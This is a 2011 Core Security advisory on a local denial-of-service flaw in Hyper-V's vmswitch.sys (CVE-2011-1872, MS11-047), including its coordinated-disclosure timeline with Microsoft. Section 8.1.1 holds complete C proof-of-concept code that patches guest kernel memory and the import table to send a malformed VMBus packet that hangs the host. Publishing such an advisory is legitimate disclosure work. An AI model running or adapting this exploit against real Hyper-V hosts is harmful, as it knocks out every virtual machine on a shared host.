665 lines
No EOL
21 KiB
Text
665 lines
No EOL
21 KiB
Text
Core Security Technologies - Corelabs Advisory
|
|
http://corelabs.coresecurity.com/
|
|
|
|
MS HyperV Persistent DoS Vulnerability
|
|
|
|
|
|
1. *Advisory Information*
|
|
|
|
Title: MS HyperV Persistent DoS Vulnerability
|
|
Advisory ID: CORE-2011-0203
|
|
Advisory URL:
|
|
http://www.coresecurity.com/content/hyperv-vmbus-persistent-dos-vulnerability
|
|
Date published: 2011-06-14
|
|
Date of last update: 2011-06-14
|
|
Vendors contacted: Microsoft
|
|
Release mode: Coordinated release
|
|
|
|
|
|
2. *Vulnerability Information*
|
|
|
|
Class: Input validation error [CWE-20]
|
|
Impact: Denial of service
|
|
Remotely Exploitable: No
|
|
Locally Exploitable: Yes
|
|
CVE Name: CVE-2011-1872
|
|
|
|
|
|
3. *Vulnerability Description*
|
|
|
|
A security vulnerability was found in the driver 'vmswitch.sys',
|
|
associated to the Windows Hypervisor subsystem, allowing an
|
|
authenticated local DoS. The vulnerability could allow denial of service
|
|
if a specially crafted packet is sent to the VMBus by an authenticated
|
|
user in one of the guest virtual machines hosted by the Hyper-V server.
|
|
The impact is all guests on that host became non-responsive.
|
|
|
|
An attacker must have valid logon credentials and be able to send
|
|
specially crafted content from a guest virtual machine to exploit this
|
|
vulnerability. As a result, an attacker logged with admin privileges on
|
|
a guest VM may cause:
|
|
|
|
1. All applications in virtual machines stop responding.
|
|
2. The host kernel CPU usage rises up to 100%.
|
|
3. The host machine is unable to reboot (It shows the close window
|
|
but it never performs the host rebooting).
|
|
|
|
The vulnerability could not be exploited remotely or by anonymous users.
|
|
|
|
|
|
4. *Vulnerable packages*
|
|
|
|
. Windows Server 2008 for x64-based Systems
|
|
. Windows Server 2008 for x64-based Systems SP2
|
|
. Windows Server 2008 R2 for x64-based Systems
|
|
. Windows Server 2008 R2 for x64-based Systems SP1
|
|
|
|
|
|
5. *Non-vulnerable packages*
|
|
|
|
. Windows XP SP3
|
|
. Windows XP Professional x64 Edition SP2
|
|
. Windows Server 2003 SP2
|
|
. Windows Server 2003 x64 Edition SP2
|
|
. Windows Server 2003 with SP2 for Itanium-based Systems
|
|
. Windows Vista SP1 and Windows Vista SP2
|
|
. Windows Vista x64 Edition SP1 and Windows Vista x64 Edition SP2
|
|
. Windows Server 2008 for 32-bit Systems and Windows Server 2008 for
|
|
32-bit Systems SP2
|
|
. Windows Server 2008 for Itanium-based Systems and Windows Server
|
|
2008 for Itanium-based Systems SP2
|
|
. Windows 7 for 32-bit Systems and Windows 7 for 32-bit Systems SP1
|
|
. Windows 7 for x64-based Systems and Windows 7 for x64-based Systems SP1
|
|
. Windows Server 2008 R2 for Itanium-based Systems and Windows Server
|
|
2008 R2 for Itanium-based Systems SP1
|
|
|
|
|
|
6. *Vendor Information, Solutions and Workarounds*
|
|
|
|
For additional information about this issue visit the Microsoft security
|
|
bulletin MS11-047 [1]
|
|
|
|
|
|
7. *Credits*
|
|
|
|
This vulnerability was discovered and researched by Nicolas Economou
|
|
from Core Security Exploit Writers Team. The publication of this
|
|
advisory was coordinated by Fernando Miranda from Core Security
|
|
Advisories Team.
|
|
|
|
|
|
8. *Technical Description / Proof of Concept Code*
|
|
|
|
This flaw is located in the hypervisor driver 'vmswitch.sys' of Windows
|
|
systems. The Proof of Concept showed in [Sec. 8.1] was tested on the
|
|
latest released version 6.1.7600.16701 of the above mentioned driver.
|
|
|
|
When digging into the vulnerability, in the 0x20 position of a
|
|
hypervisor packet there is a QWORD (0x3333333333333333 in the PoC) that
|
|
seems to be the length of something. This value is checked in the
|
|
function 'VidLockObjectShared', located in the driver 'vid.sys'. The
|
|
QWORD is compared against the value 0xffeff and the function returns
|
|
with error 0xC0370022 if the QWORD value is higher. Apparently, that
|
|
makes some flag is not set and the package processing never ends.
|
|
Unfortunately, additional and specific technical information regarding
|
|
the root and nature of this vulnerability was not provided by Microsoft.
|
|
|
|
|
|
8.1. *Proof of Concept*
|
|
|
|
The following PoC would trigger the vulnerability. The PoC basically
|
|
injects the functions 'handle', 'handle2' and 'packet_changer' as a
|
|
shellcode, and calls to the command 'ipconfig' for generating activity
|
|
in the driver of the network adapter (in order to accelerate the
|
|
trigger). It was compiled using Borland C++ v5.5.1 for Win32, and should
|
|
be executed under the following scenario:
|
|
|
|
1. The guest machine must be a Windows XP with SP2 or SP3.
|
|
2. The user running the PoC must have admin privileges.
|
|
|
|
The PoC code covers the whole kernel memory looking for a pattern of
|
|
code located in the network driver 'netvsc50.sys' on the guest machine.
|
|
The code is in the function 'PkSendPacketSimple' and it's a call to the
|
|
function 'memcpy'.
|
|
|
|
When that pattern is located in the driver code, the entry of the
|
|
function 'memcpy' is patched in the import table, redirecting this
|
|
function call to the hook function 'handle', previously written by the
|
|
PoC code in kernel memory. Then, when 'memcpy' is called by the driver
|
|
to assemble the package to be sent to the hypervisor, the execution flow
|
|
will jump to the 'handle2' function (via the hook set by the 'handle'),
|
|
which is the function that receives the content of the argument passed
|
|
to 'memcpy' and turns a 'Simple' type packet into a 'GpaDirect' type
|
|
packet. All these steps are taken in order to trigger the vulnerability.
|
|
|
|
|
|
8.1.1. *Code*
|
|
|
|
/-----
|
|
|
|
#include <windows.h>
|
|
#include <winnt.h>
|
|
#include <stdio.h>
|
|
|
|
typedef enum _SYSDBG_COMMAND {
|
|
SysDbgQueryModuleInformation,
|
|
SysDbgQueryTraceInformation,
|
|
SysDbgSetTracepoint,
|
|
SysDbgSetSpecialCall,
|
|
SysDbgClearSpecialCalls,
|
|
SysDbgQuerySpecialCalls,
|
|
SysDbgBreakPoint,
|
|
SysDbgQueryVersion,
|
|
SysDbgReadVirtual,
|
|
SysDbgWriteVirtual,
|
|
SysDbgReadPhysical,
|
|
SysDbgWritePhysical,
|
|
SysDbgReadControlSpace,
|
|
SysDbgWriteControlSpace,
|
|
SysDbgReadIoSpace,
|
|
SysDbgWriteIoSpace,
|
|
SysDbgReadMsr,
|
|
SysDbgWriteMsr,
|
|
SysDbgReadBusData,
|
|
SysDbgWriteBusData,
|
|
SysDbgCheckLowMemory,
|
|
SysDbgEnableKernelDebugger,
|
|
SysDbgDisableKernelDebugger,
|
|
SysDbgGetAutoKdEnable,
|
|
SysDbgSetAutoKdEnable,
|
|
SysDbgGetPrintBufferSize,
|
|
SysDbgSetPrintBufferSize,
|
|
SysDbgGetKdUmExceptionEnable,
|
|
SysDbgSetKdUmExceptionEnable,
|
|
SysDbgGetTriageDump,
|
|
SysDbgGetKdBlockEnable,
|
|
SysDbgSetKdBlockEnable,
|
|
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;
|
|
|
|
typedef struct _SYSDBG_VIRTUAL
|
|
{
|
|
PVOID Address;
|
|
PVOID Buffer;
|
|
ULONG Request;
|
|
} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL;
|
|
|
|
/****************************************************************************/
|
|
|
|
/* Prototypes */
|
|
|
|
LONG NTAPI ( *NtSystemDebugControl ) ( IN SYSDBG_COMMAND Command, IN
|
|
PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID
|
|
OutputBuffer OPTIONAL, IN ULONG OutputBufferLength, OUT PULONG
|
|
ReturnLength OPTIONAL );
|
|
int EscalatePrivileges ( void );
|
|
int ReadKernelMemory ( void * , void * , unsigned int );
|
|
int WriteKernelMemory ( void * , void * , unsigned int );
|
|
|
|
__declspec ( naked ) void handler ( void );
|
|
__declspec ( naked ) void handler2 ( void );
|
|
void packet_changer ( char * );
|
|
|
|
/****************************************************************************/
|
|
|
|
/* Program */
|
|
|
|
int main ( void )
|
|
{
|
|
unsigned int original_address;
|
|
unsigned int memcpy_address;
|
|
unsigned int return_address;
|
|
unsigned int jmp_address;
|
|
unsigned int code_address = 0;
|
|
unsigned int pos;
|
|
char buffer [ 0x1000 ];
|
|
char cmd [ 4096 ];
|
|
char shellcode [ 256 ];
|
|
char *pattern;
|
|
int ret;
|
|
|
|
pattern = "\xe8\xc7\x6f\xff\xff"; /* Pattern of the code to search */
|
|
EscalatePrivileges ();
|
|
printf( "finding shellcode...\n" );
|
|
|
|
for( pos=0x80000000; pos<0xfffff000; pos=pos+0x1000 )
|
|
{
|
|
ret = ReadKernelMemory( (void*) (pos+0x0ea), (void*) buffer, 5 ); /*
|
|
Read the complete block */
|
|
if ( ret == TRUE )
|
|
{
|
|
if ( memcmp(buffer, pattern, 5) == 0 )
|
|
{
|
|
/* If match */
|
|
code_address = pos + 0x0ea;
|
|
printf( "Patching code at %x\n" , code_address );
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
/* If the shellcode was found... */
|
|
if ( code_address != 0 )
|
|
{
|
|
/* Get the memcpy() address */
|
|
memcpy_address = code_address + 0xffff6fc7 + 5;
|
|
printf( "memcpy = %x\n" , memcpy_address );
|
|
|
|
/* Get the JMP which jumps to the memcpy() function imported from
|
|
ntoskrnl.exe */
|
|
ReadKernelMemory( (void*) ( memcpy_address + 2 ), (void*)
|
|
&jmp_address, 4 );
|
|
printf( "jmp_address = %x\n" , jmp_address );
|
|
|
|
/* Make a copy of mi own shellcode */
|
|
memcpy(shellcode, handler, 0x100 );
|
|
|
|
/* Write the handler in kernel memory */
|
|
ret = WriteKernelMemory( (void*) 0x8003fc00, shellcode, 0x100 );
|
|
printf( "write: %i\n" , ret );
|
|
|
|
/* Get the original pointer from the import's table */
|
|
ReadKernelMemory( (void*) jmp_address, &original_address, 4 );
|
|
printf( "original_address = %x\n" , original_address );
|
|
|
|
/* Copy the memcpy() return address */
|
|
return_address = code_address + 5;
|
|
ret = WriteKernelMemory( (void*) 0x8003fff8, &return_address, 4 );
|
|
printf ( "write: %i\n" , ret );
|
|
|
|
/* Copy the original pointer from the driver import table */
|
|
ret = WriteKernelMemory ( ( void * ) 0x8003fffc , &original_address
|
|
, 4 );
|
|
printf ( "write: %i\n" , ret );
|
|
|
|
/* Patch the import table in order to jump to my shellcode */
|
|
ret = WriteKernelMemory( (void*) jmp_address, "\x00\xfc\x03\x80", 4 );
|
|
printf( "write: %i\n", ret );
|
|
|
|
/* Just wait before trigger the bug */
|
|
printf( "delaying 3 seconds...\n" );
|
|
Sleep( 3000 );
|
|
|
|
/* Get the system address and execute the command "ipconfig" for
|
|
triggering the bug */
|
|
GetSystemDirectory( cmd, 4096 );
|
|
strncat( cmd, "\\ipconfig.exe /renew", 4096 );
|
|
system ( cmd );
|
|
}
|
|
return ( 1 );
|
|
}
|
|
|
|
/****************************************************************************/
|
|
|
|
__declspec ( naked ) void handler ( void )
|
|
{
|
|
/* Get the return address */
|
|
asm mov eax,[esp]
|
|
|
|
/* If the return address is NOT the same that I'm waiting for... */
|
|
asm pushad
|
|
asm mov ebx,0x8003fff8
|
|
asm cmp eax,[ebx]
|
|
asm jne no_change
|
|
|
|
/* Modify the return address to return to my code after complete the
|
|
call */
|
|
asm popad
|
|
asm mov eax,0x8003fc00+0x30
|
|
asm mov [esp],eax
|
|
asm jmp exit
|
|
|
|
asm no_change:
|
|
asm popad
|
|
|
|
asm exit:
|
|
|
|
/* Just continue the execution */
|
|
__emit__ ( 0xff , 0x25 , 0xfc , 0xff , 0x03 , 0x80 ); // jmp [0x8003fffc ]
|
|
|
|
/* Padding */
|
|
__emit__ ( 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 );
|
|
__emit__ ( 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 );
|
|
__emit__ ( 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 );
|
|
__emit__ ( 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 );
|
|
__emit__ ( 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 );
|
|
}
|
|
|
|
/****************************************************************************/
|
|
|
|
__declspec ( naked ) void handler2 ( void )
|
|
{
|
|
/* Execute the code that changes the packet sent to a Hyper-V */
|
|
asm pushad
|
|
asm push eax
|
|
asm call packet_changer
|
|
asm add esp,4
|
|
asm popad
|
|
|
|
/* Continue normal execution */
|
|
__emit__ ( 0xff , 0x25 , 0xf8 , 0xff , 0x03 , 0x80 ); // jmp [0x8003fff8 ]
|
|
}
|
|
|
|
/****************************************************************************/
|
|
|
|
void packet_changer ( char *packet )
|
|
{
|
|
/* Point to the packet head */
|
|
packet = packet - 0x10;
|
|
|
|
/* Set the packet as GpaDirect */
|
|
packet [ 0x00 ] = 0x09;
|
|
packet [ 0x01 ] = 0x00;
|
|
packet [ 0x02 ] = 0x05;
|
|
packet [ 0x03 ] = 0x00;
|
|
packet [ 0x04 ] = 0x06;
|
|
packet [ 0x05 ] = 0x00;
|
|
packet [ 0x06 ] = 0x00;
|
|
packet [ 0x07 ] = 0x00;
|
|
packet [ 0x14 ] = 0x01;
|
|
packet [ 0x15 ] = 0x00;
|
|
packet [ 0x16 ] = 0x00;
|
|
packet [ 0x17 ] = 0x00;
|
|
packet [ 0x18 ] = 0x01;
|
|
packet [ 0x19 ] = 0x00;
|
|
packet [ 0x1a ] = 0x00;
|
|
packet [ 0x1b ] = 0x00;
|
|
packet [ 0x1c ] = 0x00;
|
|
packet [ 0x1d ] = 0x00;
|
|
packet [ 0x1e ] = 0x00;
|
|
packet [ 0x1f ] = 0x00;
|
|
|
|
/* vulnerable field ( LEN of something ) */
|
|
packet [ 0x20 ] = 0x33;
|
|
packet [ 0x21 ] = 0x33;
|
|
packet [ 0x22 ] = 0x33;
|
|
packet [ 0x23 ] = 0x33;
|
|
packet [ 0x24 ] = 0x33;
|
|
packet [ 0x25 ] = 0x33;
|
|
packet [ 0x26 ] = 0x33;
|
|
packet [ 0x27 ] = 0x33;
|
|
}
|
|
|
|
/****************************************************************************/
|
|
/****************************************************************************/
|
|
|
|
int EscalatePrivileges ( void )
|
|
{
|
|
TOKEN_PRIVILEGES new_token_privileges;
|
|
unsigned int token_handle;
|
|
int ret;
|
|
|
|
/* Ask for permission like a debugger */
|
|
new_token_privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
LookupPrivilegeValueA ( NULL, SE_DEBUG_NAME,
|
|
&new_token_privileges.Privileges[0].Luid );
|
|
|
|
/* Open token */
|
|
//OpenProcessToken ( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,
|
|
(void*) &token_handle );
|
|
OpenProcessToken ( GetCurrentProcess(), TOKEN_ALL_ACCESS, (void*)
|
|
&token_handle );
|
|
|
|
/* New privilege values */
|
|
new_token_privileges.PrivilegeCount = 1;
|
|
new_token_privileges.Privileges [ 0 ].Attributes = SE_PRIVILEGE_ENABLED;
|
|
|
|
/* Set privileges */
|
|
ret = AdjustTokenPrivileges( (void*) token_handle, FALSE,
|
|
&new_token_privileges, sizeof(new_token_privileges), NULL, NULL );
|
|
|
|
return ( ret );
|
|
}
|
|
|
|
/****************************************************************************/
|
|
|
|
int ReadKernelMemory ( void *address, void *buffer, unsigned int len )
|
|
{
|
|
static int first_time = TRUE;
|
|
SYSDBG_VIRTUAL DbgMemory;
|
|
LONG Status;
|
|
int ret = FALSE;
|
|
|
|
/* If it is the first time */
|
|
if ( first_time == TRUE )
|
|
{
|
|
/* Resolve the function symbol */
|
|
NtSystemDebugControl = GetProcAddress( GetModuleHandle("ntdll.dll"),
|
|
"NtSystemDebugControl" );
|
|
if ( NtSystemDebugControl == NULL )
|
|
{
|
|
puts( "Unable to resolve" );
|
|
return ( ret );
|
|
}
|
|
first_time = FALSE;
|
|
}
|
|
|
|
/* Setup the request */
|
|
DbgMemory.Address = address;
|
|
DbgMemory.Buffer = buffer;
|
|
DbgMemory.Request = len;
|
|
|
|
/* Do the read */
|
|
Status = NtSystemDebugControl( SysDbgReadVirtual, &DbgMemory,
|
|
sizeof(DbgMemory), NULL, 0, NULL );
|
|
if ( Status >= 0 )
|
|
{
|
|
ret = TRUE;
|
|
}
|
|
return ( ret );
|
|
}
|
|
|
|
/****************************************************************************/
|
|
|
|
int WriteKernelMemory ( void *address , void *buffer , unsigned int len )
|
|
{
|
|
static int first_time = TRUE;
|
|
SYSDBG_VIRTUAL DbgMemory;
|
|
LONG Status;
|
|
int ret = FALSE;
|
|
|
|
if ( first_time == TRUE )
|
|
{
|
|
/* Resolve the function symbol */
|
|
NtSystemDebugControl = GetProcAddress( GetModuleHandle("ntdll.dll"),
|
|
"NtSystemDebugControl" );
|
|
if ( NtSystemDebugControl == NULL )
|
|
{
|
|
puts ( "Unable to resolve" );
|
|
return ( ret );
|
|
}
|
|
}
|
|
else
|
|
{
|
|
first_time = FALSE;
|
|
}
|
|
|
|
|
|
/* Setup the request */
|
|
DbgMemory.Address = address;
|
|
DbgMemory.Buffer = buffer;
|
|
DbgMemory.Request = len;
|
|
|
|
/* Do the read */
|
|
Status = NtSystemDebugControl ( SysDbgWriteVirtual , &DbgMemory ,
|
|
sizeof ( DbgMemory ) , NULL , 0 , NULL );
|
|
if ( Status >= 0 )
|
|
{
|
|
ret = TRUE;
|
|
}
|
|
return ( ret );
|
|
}
|
|
|
|
/****************************************************************************/
|
|
/****************************************************************************/
|
|
|
|
-----/
|
|
|
|
|
|
|
|
9. *Report Timeline*
|
|
|
|
. 2011-02-03:
|
|
Core Security Technologies notifies the MSRC of the vulnerability,
|
|
setting the estimated publication date of the advisory to March 1st, 2011.
|
|
|
|
. 2011-02-04:
|
|
MSRC notifies that the case 10985 was opened to track this issue and a
|
|
case manager will get in contact shortly.
|
|
|
|
. 2011-02-22:
|
|
MSRC notifies that the results of their investigation indicate this is
|
|
an authenticated local DoS: An admin on a guest VM can manage to cause a
|
|
DoS on the host. The impact is all guests on that host became
|
|
non-responsive. This issue is considered to be bulletin class, but a
|
|
release date was not set yet.
|
|
|
|
. 2011-02-24:
|
|
Core notifies that the analysis made by MSRC fits with the one made by
|
|
Nicolas Economou, the discoverer of the vulnerability. Core also
|
|
requires specific technical information to help understand the nature
|
|
and root cause of the bug, and notifies the advisory publication was
|
|
re-scheduled to March 15th, 2011 waiting for a MSRC update.
|
|
|
|
. 2011-03-16:
|
|
Core notifies that two release dates were missed (March 1st and March
|
|
15th) and requests a status update and additional technical information
|
|
about this issue.
|
|
|
|
. 2011-03-17:
|
|
Vendor acknowledges reception of the last email.
|
|
|
|
. 2011-03-18:
|
|
MSRC requests to set up a conference call to discuss this issue next
|
|
Monday 21st.
|
|
|
|
. 2011-03-21:
|
|
MSRC asks for a conference call to discuss this issue.
|
|
|
|
. 2011-03-21:
|
|
The Core Security Advisories Team notifies their preference to maintain
|
|
all the communication process via email in order to keep track of all
|
|
the interactions and allow all stakeholders to take part.
|
|
|
|
. 2011-03-21:
|
|
MSRC would like to confirm that Core is declining the request to have a
|
|
meeting on this issue.
|
|
|
|
. 2011-03-21:
|
|
The advisory coordinator notifies that he himself, on behalf of the Core
|
|
Advisories Team, has declined the request to set up a conference call
|
|
because of the previously mentioned reasons. Furthermore, the
|
|
publication of an advisory usually involves several processes, triggers,
|
|
people and teams in Core internal process:
|
|
|
|
1. the discoverer of the vulnerability,
|
|
2. researchers,
|
|
3. exploit writers,
|
|
4. QA and testing groups,
|
|
5. press people, among other;
|
|
|
|
and the Core Advisories Team prefers all interactions via email in
|
|
order to have a better coordination. If there is something that cannot
|
|
be resolved via email, a conference call can be eventually set up, but
|
|
that is not necessary at the moment.
|
|
|
|
. 2011-03-23:
|
|
MSRC notifies they could not meet the deadline for the fixes and they
|
|
moved the release date from April to June 8th.
|
|
|
|
. 2011-03-31:
|
|
Core notifies that the June release seems a bit far given that this bug
|
|
is very close to the MS10-020 [2] reported on Dec 14th, 2010 with the
|
|
CVE-2010-3960. When working on the Hyper-V DoS reported in MS10-020,
|
|
Nicolas Economou discovered a new attack vector, and it is likely that
|
|
this vulnerability is already known by others. Core notifies a release
|
|
date near the end of April would be more convenient.
|
|
|
|
. 2011-04-01:
|
|
MSRC notifies they are currently working with the product team to
|
|
determine if this update can be pushed into May. Because of the
|
|
Microsoft patch Tuesday release cadence there are only two possibilities
|
|
for release of these updates: the second Tuesday in May and the second
|
|
Tuesday in June.
|
|
|
|
. 2011-04-25:
|
|
Core re-schedules the advisory publication to May 10th and asks MSRC if
|
|
fixes will be available by that date.
|
|
|
|
. 2011-04-25:
|
|
MSRC notifies that, due to some testing issues that occurred with the
|
|
fix, the team did not meet the May deadline and will need to ship this
|
|
update on June 14th.
|
|
|
|
. 2011-04-28:
|
|
Core notifies that this issue was reported on Feb 3th, and 4 publication
|
|
dates were already missed:
|
|
|
|
1. March 1st, 2011 (first tentative publication date)
|
|
2. March 15th, 2011
|
|
3. April 2011
|
|
4. May 10th, 2011
|
|
|
|
The Core Advisories Team agrees to postpone the advisory publication to
|
|
June 14th, but that date should be considered final. Core also asks
|
|
additional information about the affected and patched versions numbers
|
|
related to this issue.
|
|
|
|
. 2011-06-02:
|
|
MSRC notifies that the fix for this vulnerability is in testing but no
|
|
issues have been found so far and the security bulletin is still
|
|
scheduled for June 14th.
|
|
|
|
. 2011-06-14:
|
|
Advisory CORE-2011-0203 is published.
|
|
|
|
|
|
|
|
10. *References*
|
|
|
|
[1] http://www.microsoft.com/technet/security/bulletin/MS11-047.mspx.
|
|
[2] http://www.microsoft.com/technet/security/Bulletin/MS10-020.mspx.
|
|
|
|
|
|
11. *About CoreLabs*
|
|
|
|
CoreLabs, the research center of Core Security Technologies, is charged
|
|
with anticipating the future needs and requirements for information
|
|
security technologies. We conduct our research in several important
|
|
areas of computer security including system vulnerabilities, cyber
|
|
attack planning and simulation, source code auditing, and cryptography.
|
|
Our results include problem formalization, identification of
|
|
vulnerabilities, novel solutions and prototypes for new technologies.
|
|
CoreLabs regularly publishes security advisories, technical papers,
|
|
project information and shared software tools for public use at:
|
|
http://corelabs.coresecurity.com.
|
|
|
|
|
|
12. *About Core Security Technologies*
|
|
|
|
Core Security Technologies enables organizations to get ahead of threats
|
|
with security test and measurement solutions that continuously identify
|
|
and prove real-world exposures to their most critical assets. Our
|
|
customers can gain real visibility into their security standing, real
|
|
validation of their security controls, and real metrics to more
|
|
effectively secure their organizations.
|
|
|
|
Core Security's software solutions build on over a decade of trusted
|
|
research and leading-edge threat expertise from the company's Security
|
|
Consulting Services, CoreLabs and Engineering groups. Core Security
|
|
Technologies can be reached at +1 (617) 399-6980 or on the Web \ at:
|
|
http://www.coresecurity.com.
|
|
|
|
|
|
13. *Disclaimer*
|
|
|
|
The contents of this advisory are copyright (c) 2011 Core Security
|
|
Technologies and (c) 2011 CoreLabs, and are licensed under a Creative
|
|
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
|
|
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
|
|
|
|
|
|
14. *PGP/GPG Keys*
|
|
|
|
This advisory has been signed with the GPG key of Core Security
|
|
Technologies advisories team, which is available for download at
|
|
http://www.coresecurity.com/files/attachments/core_security_advisories.asc. |